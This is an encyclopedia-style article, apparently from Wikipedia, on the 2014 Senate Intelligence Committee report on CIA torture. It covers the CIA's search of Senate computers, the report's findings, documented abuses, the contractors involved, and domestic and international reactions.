On December 17, 2013, Sen. Mark Udall (D-CO) revealed the existence of a secret internal review (the "Panetta Review") conducted by the CIA that was consistent with the Senate's report but conflicted with the CIA's official response to the report. In January 2014, CIA officials claimed that the Intelligence Committee had accessed portions of the "Panetta Review" and removed them from CIA facilities in 2010 without CIA authorization. In March 2014, Sen. Dianne Feinstein (D-CA), chairwoman of the Intelligence Committee, confirmed that a portion of the "Panetta Review" had been copied and transferred to a safe in the Senate's Hart Office Building. She stated that the action was necessary to protect the documents from the CIA, which had destroyed videotapes depicting brutal interrogation methods in 2005. Additionally, during the review process, the CIA had removed hundreds of pages of documents from the Committee staff's CIA-provided computer network (called "RDINet" for "rendition, detention, and interrogation") without informing Committee staff. According to Senator Feinstein, when Committee staff inquired about the missing documents, CIA staff initially denied the files had been removed, then blamed IT contractors, and finally falsely claimed that the White House had requested their removal.
When negotiating the review process, the Committee and the CIA came to an agreement that the CIA would establish "a walled-off network share-drive" accessible only to Committee staff, and that "CIA access to the walled off network shared drive will be limited to CIA information technology staff, except as authorized by the committee or its staff."
During an "extraordinary" 45-minute speech on March 11, 2014, Feinstein said the CIA unlawfully searched the Intelligence Committee's computers to determine how the committee staff obtained the "Panetta Review" documents. Feinstein also said that the CIA's acting general counsel, later identified as Robert Eatinger, requested the FBI conduct a criminal inquiry into the committee staff who had accessed and relocated the "Panetta Review" documents. She said she believed that the request was "a potential effort to intimidate [Intelligence Committee] staff." Eatinger had been involved in the destruction of video tapes in 2005 (which started the Senate investigation), and Feinstein added that Eatinger was mentioned by name over 1,600 times in the Committee's full report. The same day that Feinstein made the allegations, CIA director John O. Brennan denied that the CIA searched the Senate computers, stating, "As far as the allegations of, you know, CIA hacking into, you know, Senate computers, nothing could be further from the truth. I mean we wouldn't do that. I mean that's just beyond the – you know, the scope of reason in terms of what we would do... When the facts come out on this, I think a lot of people who are claiming that there has been this tremendous sort of spying and monitoring and hacking will be proved wrong."
However, on July 31, 2014, the CIA's Inspector General confirmed that the CIA had improperly gained access to and searched the Senate Intelligence Committee's computer network, including that CIA employees accessed the Committee's computers, read Committee staff's email, and sent a criminal referral to the Department of Justice based on false information. A Justice Department spokesman later announced that they would not be pursuing charges in the hacking incident. An internal review panel appointed by Brennan contended that the searches "were lawful and in some cases done at the behest of John O. Brennan, the C.I.A. director."
Findings
Findings listed in the report
The more-than 6,700-page report produced 20 key findings. They are, verbatim from the unclassified Executive Summary report:
The CIA's use of its enhanced interrogation techniques was not an effective means of acquiring intelligence or gaining cooperation from detainees.
The CIA's justification for the use of its enhanced interrogation techniques rested on inaccurate claims of their effectiveness.
The interrogations of CIA detainees were brutal and far worse than the CIA represented to policymakers and others.
The conditions of confinement for CIA detainees were harsher than the CIA had represented to policymakers and others.
The CIA repeatedly provided inaccurate information to the Department of Justice (DOJ), impeding a proper legal analysis of the CIA's Detention and Interrogation Program.
The CIA has actively avoided or impeded congressional oversight of the program.
The CIA impeded effective White House oversight and decision-making.
The CIA's operation and management of the program complicated, and in some cases impeded, the national security missions of other Executive Branch agencies.
The CIA impeded oversight by the CIA's Office of Inspector General.
The CIA coordinated the release of classified information to the media, including inaccurate information concerning the effectiveness of the CIA's enhanced interrogation techniques.
The CIA was unprepared as it began operating its Detention and Interrogation Program more than six months after being granted detention authorities.
The CIA's management and operation of its Detention and Interrogation Program was deeply flawed throughout the program's duration, particularly so in 2002 and early 2003.
Two contract psychologists devised the CIA's enhanced interrogation techniques and played a central role in the operation, assessments, and management of the CIA's Detention and Interrogation Program. By 2005, the CIA had overwhelmingly outsourced operations related to the program.
CIA detainees were subjected to coercive interrogation techniques that had not been approved by the Department of Justice or had not been authorized by CIA Headquarters.
The CIA did not conduct a comprehensive or accurate accounting of the number of individuals it detained, and held individuals who did not meet the legal standard for detention. The CIA's claims about the number of detainees held and subjected to its enhanced interrogation techniques were inaccurate.
The CIA failed to adequately evaluate the effectiveness of its enhanced interrogation techniques.
The CIA rarely reprimanded or held personnel accountable for serious or significant violations, inappropriate activities, and systematic and individual management failures.
The CIA marginalized and ignored numerous internal critiques, criticisms, and objections concerning the operation and management of the CIA's Detention and Interrogation Program.
The CIA's Detention and Interrogation Program was inherently unsustainable and had effectively ended by 2006 due to unauthorized press disclosures, reduced cooperation from other nations, and legal and oversight concerns.
The CIA's Detention and Interrogation Program damaged the United States' standing in the world, and resulted in other significant monetary and non-monetary costs.
Findings as reported by media outlets
Examples of torture and abuse of prisoners
The CIA had force-fed some prisoners orally and/or anally in order to establish "total control over the detainee." The report notes that CIA documents indicate "Chief of Interrogations [redacted] also ordered the rectal rehydration of KSM without a determination of medical need, a procedure that the chief of interrogations would later characterize as illustrative of the interrogator’s 'total control over the detainee.'"
The Committee found that "[a]t least five CIA detainees were subjected to 'rectal rehydration' or rectal feeding without documented medical necessity." These detainees are listed as Abu Zubaydah, Khalid Shaykh Mohammad, Majid Khan, and Marwan al-Jabbur.
At least one prisoner was "diagnosed with chronic hemorrhoids, an anal fissure and symptomatic rectal prolapse," symptoms normally associated with a violent rape. The report identified this detainee as Mustafa al-Hawsawi.
CIA officials, including general counsel Scott Miller and deputy director of operations James Pavitt, were told that rectal exams of at least two prisoners had been conducted with "excessive force." A CIA attorney was asked to follow up on these incidents, but the report states that "CIA records do not indicate any resolution of the inquiry."
CIA interrogators threatened to rape and murder children and/or family members of prisoners. For example, according to the CIA's Inspector General, a CIA interrogator told Abd al-Rahim al-Nashiri that if he did not provide information, "We could get your mother in here," and "We can bring your family in here." The interrogator also led al-Nashiri to believe that he was being held in a Middle Eastern country whose interrogators sexually abused female family members in front of detainees.
In November 2002 the CIA killed Gul Rahman during interrogation by hypothermia. The detainee, Gul Rahman, was tortured by CIA officers and contractors, and left wearing only a sweatshirt, chained to a wall in a seating position on a cold floor. No CIA employees were disciplined as a result of his death, and the CIA officer who managed the black site where Rahman died, who was not a trained interrogator and had a history of behavioral issues, was recommended for a cash award of $2,500 for "consistently superior work" and continued to interrogate detainees.
At least four prisoners with injuries to their legs (two with broken feet, one with a sprained ankle and one with an amputated leg) were forced to stand on their injuries. Interrogators subjected these detainees to extended periods of standing sleep deprivation without prior headquarters approval.
Interrogators told prisoners that they would be killed. For example: one prisoner, Abu Zubaydah, was told "We can never let the world know what I have done to you", another was told that the only way he would be allowed to leave the prison would be in a coffin-shaped confinement box.
One CIA interrogator who was subsequently sent home early threatened prisoner Abd al-Rahim al-Nashiri with a gun and power drill, racking a handgun and revving the drill next to al-Nashiri's hooded head. The interrogator had not sought Headquarters approval for these unauthorized actions.
At least two prisoners were victims of "mock executions." According to the CIA's Inspector General, the same debriefer who used the gun and drill on al-Nashiri claimed that he had witnessed other CIA interrogators stage an execution to scare a detainee, and several other CIA officers also said that they had witnessed or participated in mock executions.
Several prisoners almost died and became completely unresponsive or nearly drowned during waterboarding. Multiple CIA communications described CIA interrogators waterboarding Abu Zubaydah and in one session, Zubaydah "becoming completely unresponsive, with bubbles rising through his open, full mouth." He remained unresponsive until given medical attention, when he regained consciousness and expelled "copious amounts of liquid."
Abu Zubaydah's eye was so badly damaged during his time in prison that it was surgically removed.
The CIA kept some prisoners awake for over one week (180 hours), as well as shorter extended periods of time. This included the use of sitting or standing stress positions that prevented sleep. Sleep deprivation caused at least five to experience "disturbing" hallucinations. The CIA claimed in its 2013 response that when detainees experienced hallucinations during sleep deprivation, medical staff intervened and allowed the detainee to sleep. However, CIA records indicate that this was not always true.
After more than a month of torture, including loud music, dietary and temperature manipulation, sleep and sensory deprivation, and shackling, prisoner Ridha al-Najjar was psychologically traumatized to the point of being described as "a broken man."
Prisoners were forced to use buckets for toilets. As punishment, interrogators could remove the waste bucket from a prisoner's cell. In one case, CIA interrogators told a detainee that he could earn a bucket by cooperating, and those undergoing standing sleep deprivation were routinely put in diapers. This contradicts CIA Director Michael Hayden's assertion that "Detainees have never been denied the means – at a minimum, they've always had a bucket – to dispose of their human waste."
On visiting one of the CIA black sites, CIA records indicate that Federal Bureau of Prisons representatives stated "they [had] never been in a facility where individuals were so sensory deprived i.e., constant white noise, no talking, everyone in the dark, with the guards wearing a light on their head when they collected and escorted a detainee to an interrogation cell, detainees constantly being shackled to the wall or floor, and the starkness of each cell (concrete and bars). There is nothing like this in the Federal Bureau of Prisons. They then explained that they understood the mission and it was their collective assessment that in spite of all this sensory deprivation, the detainees were not being treated in humanely [sic]." This evaluation was of the same black site where Gul Rahman died after CIA interrogators beat him and left him shackled half nude on a cold floor.
Janat Gul was tortured for months based on false accusations made by an informant known as Asset Y. According to CIA documents, senior CIA officers had expressed doubt about the source's credibility and Gul denied having information about imminent threats to the United States, but interrogators proceeded to subject Gul to numerous torture techniques. Even after CIA staff at the site stated that they believed Gul was not withholding information, CIA Headquarters ordered continued use of torture tactics. Gul never provided the information the CIA thought he possessed, and Asset Y admitted to fabricating the accusations against him.
CIA interrogators forced detainee Abu Zubaydah into a box the size of a coffin for a total of 266 hours (over 11 days) and also forced him to stay for 29 hours in a box measuring wide, deep and high. Interrogators told him that the only way he was leaving the facility was in a coffin-shaped box.
CIA interrogators used unauthorized forms of torture, or used authorized techniques for more time or in more extreme ways than were approved, and usually faced no disciplinary action. These unauthorized techniques included forcing detainee Abd al-Rahim al-Nashiri to stand with his hands shackled over his head for 2 1/2 days, racking a handgun next to his head and operating a power drill near his body. Other unauthorized techniques and divergence from authorized applications of techniques included improvised stress positions, longer sleep deprivation than approved, punitive water dousing and nudity, temperature, dietary manipulation, application of the waterboard that differed from the approved methods. CIA interrogators also subjected multiple detainees to unauthorized torture techniques that Headquarters later retroactively approved.
CIA interrogators subjected one detainee, Abu Hudhaifa, to "ice water baths" and 66 hours of standing sleep deprivation, as well as forced nudity and dietary manipulation. He was later released as the CIA had mistaken his identity. According to CIA records, Hudhaifa was one of dozens of individuals whom the CIA detained who were cases of mistaken identity or otherwise did not meet the requirements for detention.
Torture of prisoners led to serious mental harm (e.g. dementia, paranoia, insomnia, and attempts at self-harm [including suicide])
Of the 119 known detainees, at least 39 were tortured by the CIA. The report notes that this is likely a conservative estimate. The CIA also used torture on several detainees before evaluating whether they would be willing to cooperate, despite later CIA claims to the Committee that detainees were always provided the opportunity to cooperate before enhanced interrogation techniques. In 2003, CIA interrogators subjected at least six detainees to shackled nudity, sleep deprivation, or other torture techniques before any questioning took place.
Misleading information provided by the CIA
The CIA's directors (George Tenet, Porter Goss and Michael Hayden) provided inaccurate and misleading information to members of the U.S. Congress, the White House and the Director of National Intelligence about the program's effectiveness and the number of prisoners that the CIA held. For example, on December 23, 2005, Goss wrote, inaccurately, to National Security advisor Stephen Hadley, Homeland Security advisor Frances Townsend, and Director of National Intelligence John Negroponte that the CIA's interrogation program thwarting an attack on Heathrow Airport "has allowed the U.S. to save hundreds, if not thousands, of lives," and that "only 29 [detainees] have undergone interrogation that used one or more of the 13 enhanced interrogation techniques."
The CIA provided inaccurate information regarding the interrogation program to members of the media, including journalists Douglas Jehl of the New York Times and Ronald Kessler, as well as Dateline NBC. This information misrepresented the interrogation program's effectiveness and the sources of specific intelligence.
The CIA provided inaccurate information in official documents to government officials about the value of information extracted from prisoners subjected to torture (e.g. stating that information extracted from Khalid Sheikh Mohammed during torture had allowed for the capture of Riduan Isamuddin, aka Hambali). CIA communications and records revealed that the information that led to Hambali's capture came from signals intelligence, a CIA source, and Thai authorities' investigations, not the use of enhanced interrogation techniques.
Despite contrary statements made by the CIA's Director, Michael V. Hayden, that "all those involved in the questioning of detainees are carefully chosen and screened for demonstrated professional judgment and maturity," the CIA did employ individuals as interrogators who "had engaged in inappropriate detainee interrogations, had workplace anger management issues, and had reportedly admitted to sexual assault."
The CIA provided false information to the Department of Justice's Office of Legal Counsel about the methods of interrogation it was using against prisoners.
CIA Deputy Director of the National Counterterrorism Center, Philip Mudd, discussed outreach to the media to thwart Congress, stating, "We either get out and sell, or we get hammered, which has implications beyond the media. [C]ongress reads it, cuts our authorities, mess up our budget."
The report found that the CIA held at least 119 detainees during the course of the interrogation program, more than the 98 previously reported to Congress.
An email cited in the report and prepared by a subordinate indicates that CIA Director Michael Hayden knew that the CIA had detained at least 112 detainees, but told CIA personnel to report 98, the number that had been provided to Congress. A CIA officer stated, "DCIA instructed me to keep the detainee number at 98 – pick whatever date i [sic] needed to make that happen but the number is 98."
The director of the CIA's Counterterrorism Center testified to the Committee on August 2, 2007 that detainees "are given ample opportunity to provide the information without the use of EITs." This was false, as CIA interrogators subjected numerous detainees to enhanced interrogation techniques before allowing them to provide information through traditional interrogation.
Several times throughout the program, CIA officers identified inaccuracies in CIA representations to other U.S. government offices and the public about the program's effectiveness. The CIA did not correct these inaccuracies, and allowed inaccurate information to remain as the CIA's official position.
Innocent people imprisoned by the CIA
At least 26 of the 119 prisoners (22%) held by the CIA were subsequently found by the CIA to have been improperly detained, many having also experienced torture. Under the Memorandum of Notification (MON) signed by President George W. Bush to establish the CIA detention program, only persons who "pose a continuing, serious threat of violence or death to U.S. persons and interests or planning terrorist activities" were eligible for detention. The MON also did not reference interrogation. Two innocent people were jailed and tortured based solely on allegations from another prisoner who fabricated information after having been tortured himself. Two former intelligence sources were jailed and tortured by accident. One mentally challenged man was held by the CIA in order to persuade family members to provide information. Among the 26 individuals who the CIA acknowledged had been improperly detained, only three were released after less than one month in CIA custody, while most were confined for several months. There is only one example in CIA records of the Agency holding personnel accountable for wrongfully detaining individuals who they themselves determined did not fit MON criteria.
Other
The report noted a November 2001 memorandum circulated within the CIA by its attorneys titled "Hostile Interrogations: Legal Considerations for C.I.A. Officers". In it, the lawyers argued that prosecution for torture could be avoided if said torture "resulted in saving thousands of lives."
Despite CIA assertions that there were no objections to the interrogation program, some CIA personnel found the torture revolting and asked to be transferred from facilities where torture was being conducted. Some also questioned whether such activities could continue and were told that the senior officials in the CIA had approved these techniques.
The report suggests torture was the source of a false confession by Ibn al-Shaykh al-Libi linking Saddam Hussein and al-Qaeda that was cited in Colin Powell's address to the UN in advance of the 2003 Iraq War.
The CIA kept incomplete records of their detainees, so it is unclear if 119 is a complete count.
The report's scope is limited to the abuse of detainees directly in CIA custody and does not include detainees tortured at the behest of the CIA after being extraordinarily rendered.
In 2008, 85% of the CIA's Rendition, Detention and Interrogation Group consisted of outside contractors.
Contractors
The two CIA contractors who developed the "enhanced interrogation techniques" (John "Bruce" Jessen and James Mitchell, who are referred to as "Hammond Dunbar" and "Grayson Swigert" in the report, respectively), received 81 million for their services, out of an original contract worth more than 180 million. NBC News identified the contractors' company as Mitchell, Jessen & Associates. Mitchell and Jessen were psychologists at the Defense Department who taught special forces how to resist and endure torture in a program called Survival, Evasion, Resistance and Escape (SERE), based on Communist torture techniques. Neither man had specialized knowledge of Al Qaeda, nor were they practised interrogators. "They had never carried out a real interrogation, only mock sessions in the military training they had overseen," The New York Times reported in 2009. "They had no relevant scholarship; their Ph.D. dissertations were on high blood pressure and family therapy. They had no language skills and no expertise on Al Qaeda."
The CIA nevertheless hired them for the interrogation program, for which they reverse-engineered SERE tactics and "developed the list of enhanced interrogation techniques and personally conducted interrogations of some of the CIA's most significant detainees using those techniques. The contractors also evaluated whether the detainees' psychological state allowed for continued use of the techniques, even for some detainees they themselves were interrogating or had interrogated." The two personally waterboarded detainees Abu Zubaydah, Abd al-Rahim al-Nashiri, and Khalid Sheikh Mohammad and swore by the technique's effectiveness, despite having "no direct experience with the waterboard" (as it was not a SERE technique) other than testing it on each other.
The contractors developed a list of 12 forms of torture for use against detainees. The list included: 1) the attention grasp, 2) walling, 3) facial hold, 4) facial slap, 5) cramped confinement, 6) wall standing, 7) stress positions, 8) sleep deprivation, 9) waterboarding, 10) use of diapers, 11) use of insects, and 12) mock burials. John Rizzo, the CIA acting general counsel who met with the contractors, described them as "sadistic and terrifying" in his book Company Man.
During Mitchell and Jessen's time participating in the CIA's interrogation program, CIA personnel lodged a number of complaints against them. These included concerns about the possible conflict of interest of the two administering enhanced interrogation techniques on detainees, then psychologically evaluating the same detainees to determine the success of the interrogations. One internal CIA communication said that "no professional in the field would credit their later judgments as psychologists assessing the subjects of their enhanced measures," and another noted, "Jim and Bob have shown blatant disregard for the ethics shared by almost all of their colleagues."
The CIA's contract with Mitchell and Jessen's company was terminated in 2009, but included a $5 million dollar indemnification agreement that covered the costs associated with any possible criminal prosecution. According to the report and CIA documents obtained by journalist Jason Leopold, Mitchell and Jessen's company billed the CIA $1.1 million for legal services from 2007 to 2012, and the CIA is obligated to pay for their legal expenses until 2021.
In October 2015, the ACLU filed a lawsuit against Mitchell and Jessen on behalf of three detainees who had been tortured in the CIA's interrogation program, including Gul Rahman, who died of hypothermia after CIA interrogators beat him and chained him half naked to the wall of a freezing cell. The suit was settled out of court for an undisclosed amount.
Financial aspects
According to the report, the Detention and Interrogation Program cost in excess of $300 million in non-personnel costs. This included funding for the CIA to construct and maintain detention facilities, including two facilities costing millions of dollars that were never used, in part due to host country political concerns. "To encourage governments to clandestinely host CIA detention sites, or to increase support for existing sites, the CIA provided millions of dollars in cash payments to foreign government officials."
The intelligence officer Jose Rodriguez was personally involved in at least one of these payments to a foreign government. According to an unnamed CIA official, "In one case, we gave [Redacted] $[Redacted],000,000 ... Myself and Jose [Rodriguez] [Redacted] ... We never counted it. I'm not about to count that kind of money for a receipt."
The report states that in 2006 the value of the CIA's base contract with psychologists James Mitchell and Bruce Jessen's company with all options exercised was in excess of $180 million; "the contractors received $81 million prior to the contract's termination in 2009. In 2007, the CIA provided a multi-year indemnification agreement to protect the company and its employees from legal liability arising out of the program. The CIA has since paid out more than $1 million pursuant to the agreement."
CIA internal objections
Numerous CIA officials and personnel objected to various aspects of the program. According to journalist Jane Mayer, as the CIA formulated the interrogation regime, several top CIA officers, including R. Scott Shumate (chief operational psychologist for the Counterterrorism Center), left the CIA, reportedly related to disagreements over using the proposed techniques.
During the interrogation of detainee Abd al-Rahim al-Nashiri, the CIA's Chief of Interrogation announced his resignation due to his misgivings about the program, stating that it was a "train wreak [sic] waiting to happen." The same individual drafted a cable for CIA Headquarters that voiced his opinion that al-Nashiri was not withholding information, that continued use of enhanced interrogation techniques "is excessive and may cause him to cease cooperation on any level," and noted that multiple CIA personnel believed that it "may push [al-Nashiri] over the edge psychologically."
Multiple CIA personnel also objected to contractors Mitchell and Jessen both acting as interrogators and psychologically evaluating detainees, as this was a conflict of interest. The CIA's Office of Medical Services noted that the CIA paid Mitchell and Jessen to apply enhanced interrogation techniques, and then "[judge] both [the technique's] effectiveness and detainee resilience, and implicitly [propose] continued use of the technique at a daily compensation reported to be $1,800/day."
Personnel at the black site called "Detention Site GREEN" in the report also raised concerns that enhanced interrogation technique application at the site was "approach[ing] the legal limit." Jose Rodriguez responded to these concerns by stating: "Strongly urge that any speculative language as to the legality of given activities or, more precisely, judgment calls as to their legality vis-a-vis operational guidelines for this activity agreed upon and vetted at the most senior levels of the agency, be refrained from in written traffic (email or cable traffic). Such language is not helpful."
In late 2002 and early 2003 Charlie Wise was the CIA's Director of Interrogation, and, with Mitchell and Jessen, one of the three individuals officially authorized to use Waterboarding. Wise joined the psychologists after they had begun using Waterboarding, and there was a personality clash. Wise said the torture program the psychologists set up was a “train [wreck] waiting to happen”, and “I intend to get the hell off the train before it happens.” In 2004, when the report summary was released, the Washington Post described his subsequent resignation as voluntary.
Executive branch response
Response from Obama administration
President Barack Obama said the report had revealed a "troubling program" and that "We will rely on all elements of our national power, including the power and example of our founding ideals. That is why I have consistently supported the declassification of today's report. No nation is perfect. But one of the strengths that makes America exceptional is our willingness to openly confront our past, face our imperfections, make changes and do better." The Obama administration consistently worked through White House Chief of Staff Denis McDonough. According to press reports, during the negotiations over redactions in the Executive Summary, McDonough actively negotiated on behalf of the CIA for more redactions. During the run-up to the Executive Summary's release, Secretary of State John Kerry also reportedly urged Feinstein to delay the release, citing concerns about the coalition against ISIS and American lives and property abroad.
CIA Director John O. Brennan agreed with the current administration's policy prohibiting enhanced interrogation techniques and admitted that the program had had "shortcomings." He disagreed with the Committee's conclusion that information obtained through torture could have been obtained by other means, and said it is unknowable whether other interrogation approaches would have yielded the same information. In supporting his views, Brennan also released a 136-page declassified version of an official CIA response and critique of the torture report written in June 2013. However, the CIA also released a document in December 2014 titled "Note to Readers of The Central Intelligence Agency's Response to the Senate Select Committee on Intelligence's Study of the CIA's Detention and Interrogation Program," in which the CIA admitted that many of its objections were incorrect, including that the State Department may not actually have been aware of CIA black sites in some countries, that CIA personnel had in fact used enhanced interrogation techniques without prior approval, and that some of the information the CIA claimed came from these techniques had not.
The Department of Justice (DOJ) announced that they would not be pursuing bringing any charges against anyone who might have been involved in the use of torture, noting that they "did not find any new information that they had not previously considered in reaching their determination." The Department of Justice had launched two investigations overseen by John Durham in 2009 that also did not result in charges. The rationale for the absence of charges has not been disclosed, but Mr. Durham did say that the full record of the possible evidence of criminal conduct and possible defenses that might be offered by any of those accused were contained in the pages of the Senate committee report that he was not going to release. Thus, it remains impossible for anyone to offer an independent evaluation of whether anyone involved was or was not guilty of criminal conduct. In response to a FOIA lawsuit seeking access to the full report, the Obama administration argued that the rationale for not releasing all the pages of the committee report was that "disclosing them could affect the candor of law enforcement deliberations about whether to bring criminal charges." Given the apparent absence of those public deliberations, such a rationale seems almost incredibly obtuse, especially since, after the release of the Senate's report, several news outlets noted that "the only CIA employee connected to its interrogation program to go to prison" was John Kiriakou, the whistle-blower who was "prosecuted for providing information to reporters."
Response from Bush administration
Three former CIA directors—George Tenet, Porter Goss and Michael V. Hayden—as well as three former CIA deputy directors, wrote an op-ed in The Wall Street Journal in response to the release of the Senate Intelligence Committee report. They criticized the report as "a partisan attack on the agency that has done the most to protect America after the 9/11 attacks." They said that the CIA's interrogation program was invaluable to the capture of al Qaeda operatives and the disruption of al Qaeda's efforts and also stated that, contrary to the Senate Intelligence Committee's findings, "there is no doubt that information provided by the totality of detainees in CIA custody […] was essential to bringing bin Laden to justice." Additionally, they wrote that the CIA remained within the interrogation techniques authorized by the DOJ; that the CIA did not mislead the DOJ, White House or Congress; and that the threat of a "'ticking time bomb' scenario" context was critical to understanding the program. Additionally, they established a website to defend the actions of the CIA.
The report's Executive Summary shows that Tenet, Goss, and Hayden all provided inaccurate information to the White House, Congress, and the public about the program, including regarding its effectiveness. It contains over 35 pages of Hayden's testimony to the Senate Intelligence Committee in which he provided inaccurate or misleading information. Additionally, contrary to these officials' claim, there is no evidence that the CIA's interrogation program produced evidence that led to Osama bin Laden. CIA records show that the information came from numerous sources, including CIA-collected signals intelligence, intelligence obtained by foreign governments, and non-coercive CIA interrogation. Also, despite the claim that the CIA remained within DOJ interrogation guidelines, there are numerous examples of interrogators exceeding guidelines, including using interrogation techniques in unauthorized ways, for longer periods of time or in a more extreme way than they were intended to be used.
Former Vice President Dick Cheney, who was in office during the events discussed in the report and participated in numerous meetings regarding enhanced interrogation techniques, said the report's criticisms of the CIA were "a bunch of hooey" and that harsh interrogation tactics were "absolutely, totally justified." He further said that he did not feel that the CIA misled him about the techniques used or the value of the information obtained from them, and that "if I had to do it over again, I would." The report notes that in multiple CIA briefings and documents for Cheney, the Agency repeatedly misrepresented the program's results and effectiveness.
John Yoo, author of the Torture Memos, criticized the report as a partisan attack on American intelligence agencies and defended his belief that the CIA was legally allowed to use interrogation techniques that did not cause injury. Yoo's legal justification, which included the "necessity defense" (that using torture would be legal if necessary in emergency situations), is contrary to both international and domestic law. He also stated that "if the facts on which [he] based [his] advice were wrong, [he] would be willing to change [his] opinion of the interrogation methods." In an interview in CNN's Fareed Zakaria GPS, Yoo said that the harsh treatments outlined in the report could violate anti-torture laws, stating that "[i]f these things happened as described in the report [...] they were not supposed to be done." He voiced a similar opinion in a C-SPAN interview, saying that using the techniques cumulatively could violate anti-torture statute.
Reception
Minority response
Senate Minority Leader Mitch McConnell, Republican of Kentucky, and Senator Saxby Chambliss, Republican of Georgia, opposed the study saying that they believe "it will present serious consequences for U.S. national security" and that the study was ideologically motivated. They also asserted that the program "developed significant intelligence that helped us identify and capture important al-Qa'ida terrorists, disrupt their ongoing plotting, and take down Usama Bin Ladin." Senators Marco Rubio, Republican of Florida, and Jim Risch, Republican of Idaho, stated that the report was a "partisan effort" by Democrats that "could endanger the lives of Americans overseas" and was not "serious or constructive."
Senator John McCain, Republican of Arizona, himself a victim of torture while a prisoner of war in Vietnam, said in a speech following Feinstein's presentation on the Senate floor that he supported the release of the report, and that those responsible for the interrogation policy had "stained our national honor, did much harm and little practical good."
Organizations
The American Civil Liberties Union (ACLU) argued that the attorney general should appoint a special prosecutor to conduct a full investigation, with its director Anthony Romero saying the report showed the CIA had committed human rights violations. The Center for Constitutional Rights called for prosecutions of those responsible for the torture and joined a criminal complaint filed in Germany by the European Center for Constitutional and Human Rights.
Kenneth Roth from Human Rights Watch called for prosecutions of senior Bush officials who authorized torture and oversaw its use. Roth stated that failure to prosecute was "more than just a failure of justice" and "means that torture effectively remains a policy option rather than a criminal offense." Steven W. Hawkins, the USA executive director of Amnesty International, called for justice saying, "Under the UN convention against torture, no exceptional circumstances whatsoever can be invoked to justify torture, and all those responsible for authorizing or carrying out torture or other ill-treatment must be fully investigated."
The United Nations's special rapporteur on counter-terrorism and human rights, Ben Emmerson, called for the prosecution of those responsible. He said that the CIA had "commit[ed] systematic crimes and gross violations of international human rights law." Juan E. Méndez, the United Nations' special rapporteur on torture, said in a statement that many governments have used the American use of torture to justify their own abuses, saying "If the U.S. tortures, why can't we do it?" Mendez called the release of the report only the first step and called for "the investigation and prosecution of those who were responsible for ordering, planning or implementing the C.I.A. torture program." Speaking on December 10, the 30th anniversary of the adoption of the United Nations Convention Against Torture, Zeid Ra'ad Al Hussein, the UN High Commissioner for Human Rights, commended the government's release of the report saying, "Few countries will admit that their state apparatus has been practicing torture, and many continue shamelessly to deny it—even when it is well documented..." Zeid called for accountability saying, "In all countries, if someone commits murder, they are prosecuted and jailed. If they commit rape or armed robbery, they are prosecuted and jailed. If they order, enable or commit torture—recognized as a serious international crime—they cannot simply be granted immunity because of political expediency. When that happens, we undermine this exceptional Convention, and – as a number of U.S. political leaders clearly acknowledged yesterday – we undermine our own claims to be civilized societies rooted in the rule of law."
The Rohr Jewish Learning Institute designed a course around the report, investigating the balance between national security and the civil liberties of every individual.
International governments
Afghan president Ashraf Ghani called the report "shocking" and said that the actions detailed in the report "violated all accepted norms of human rights in the world."
Lithuanian Prime Minister Algirdas Butkevicius called on the U.S. to say whether the CIA used sites in his country to interrogate prisoners.
Former President of Poland Aleksander Kwasniewski said that he put pressure in 2003 on American officials to end interrogations at a secret CIA prison his country hosted, saying, "I told Bush that this cooperation must end and it did end."
Iranian Foreign Ministry spokeswoman Marzieh Afkham said the "shocking report shows violence, extremism, and secrecy as institutionalized in the US security system."
The North Korean government called on the United Nations Security Council to investigate the "most brutal medieval forms" of torture practiced by the CIA at "black sites" around the world.
Attempts to preserve copies of the Report
The CIA's Inspector General's office told Congress in May 2016 that it had accidentally deleted its only copy of the full report, both in electronic and hard disk forms. The acting Inspector General reportedly uploaded the report to the CIA's internal computer network, followed protocol and destroyed the hard copy. Another staff member then apparently misinterpreted instructions from the Justice Department not to open the file and deleted it from the server.
Only a limited number of copies of the full report were made, and human rights workers are concerned that the CIA might succeed in destroying all copies of this report they found so embarrassing. On December 29, 2016, less than a month before the end of the Obama administration, District Court Judge Royce Lamberth ordered the preservation of the full classified report, in case it was needed during the prosecution or appeal of senior suspects during their Guantanamo Military Commissions. Also in December 2016, President Obama announced that he would include the report in his presidential archive. After 12 years, a request could be made for the declassification process to start for the full report's release.
In June 2017, Senator Richard Burr, then chair of the Senate Intelligence Committee, ordered that Executive Branch agencies return their copies of the report to the committee. The copies preserved for the Guantanamo Bay cases and for Obama's presidential archive would not be returned.
McCain-Feinstein amendment
Following the release of the Executive Summary, on November 25, 2015, President Barack Obama signed into law the 2016 National Defense Authorization Act, which included an amendment sponsored by Senators John McCain and Dianne Feinstein to codify into law the ban on enhanced interrogation techniques laid out in President Obama's Executive Order 13491. The amendment restricts national security interrogation to techniques in the Army Field Manual, which the amendment mandated would be reviewed to eliminate any potential abuses the manual allowed. The Senate passed the amendment with a bipartisan vote of 78 to 21.
Media
Al-Ba'ath – official newspaper of the Arab Socialist Ba'ath Party – Syria Region said the U.S. "resorted to violent and ineffective measures."
The report was the lead story on El País.
Folha de S. Paulo dedicated the first page of its international section to the CIA story.
Gazeta Wyborcza ran a banner headline entitled "The CIA Tortured and Lied About It."
An unsigned editorial in the Chinese-state-run Global Times wrote that it revealed "wicked acts" and "gross violations of human rights by the CIA."
The Globe and Mail and the National Post ran cartoons related to the report.
The Guardian ran a four-page story with the headline "Torture: The Stain on America."
La Jornada ran its story on the report with a headline reference to "brutal CIA torture."
Le Monde led with a story saying the CIA "lied on the gravity of the cruelties inflicted."
The New York Times editorial board called for a criminal investigation and for the prosecution of Dick Cheney, David Addington, George Tenet, John Yoo, Jay Bybee, and other architects of the torture regime.
Official media in North Korea quoted a professor at Kim Il-sung University as saying that the United States carries out "brutal tortures and other atrocities" against detainees.
RT, a Russian state-funded TV network, had a leading story on a report that the U.S. paid Poland to host secret prisons.
Süddeutsche Zeitung ran the headline "Indictment Against the CIA" while the Frankfurter Allgemeine Zeitung and Die Welt carried the torture story on their front page.
Russia-24 ran its story on the report with the headline "Shocking honesty."
The Washington Post ran a blog post about reactions from Iran and North Korea, which were named the "Axis of evil" by then-President George W. Bush.
See also
Abu Ghraib torture and prisoner abuse
Bagram torture and prisoner abuse
Black site
Alfreda Frances Bikowsky
CIA transnational human rights actions
Extrajudicial prisoners of the United States
Human rights in the United States
Human rights violations by the CIA
Interrogation of Abu Zubaydah
John L. Helgerson
Stephen Soldz
References
External links
113th United States Congress
2014 controversies in the United States
2014 documents
Classified information in the United States
Cover-ups
Extraordinary rendition program
George W. Bush administration controversies
Obama administration controversies
